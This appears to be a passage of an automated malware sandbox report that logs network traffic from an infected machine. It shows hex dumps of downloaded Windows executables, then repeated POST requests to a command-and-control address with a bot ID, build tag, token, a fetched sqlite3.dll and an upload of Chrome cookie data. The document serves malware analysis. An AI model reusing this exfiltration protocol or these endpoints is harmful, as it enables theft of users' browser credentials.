00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 15:21:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 15:21:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 15:21:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 15:21:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 43 42 46 42 39 33 46 33 30 30 33 32 38 33 38 39 36 32 36 34 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="hwid"2ECBFB93F3003283896264------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="build"mars------IJDGCAEBFIIECAKFHIJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 2d 2d 0d 0a Data Ascii: ------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="message"browsers------IDHIDBAEGIIIDHJKEGDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 2d 2d 0d 0a Data Ascii: ------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="message"plugins------BFIJEHCBAKFCAKFHCGDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 2d 2d 0d 0a Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="message"fplugins------JKECFCFBGDHIECAAFIID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGCHost: 185.215.113.206Content-Length: 6623Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJKKKFCFHCFIECBGDHIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GIJKKKFCFHCFIECBGDHI--
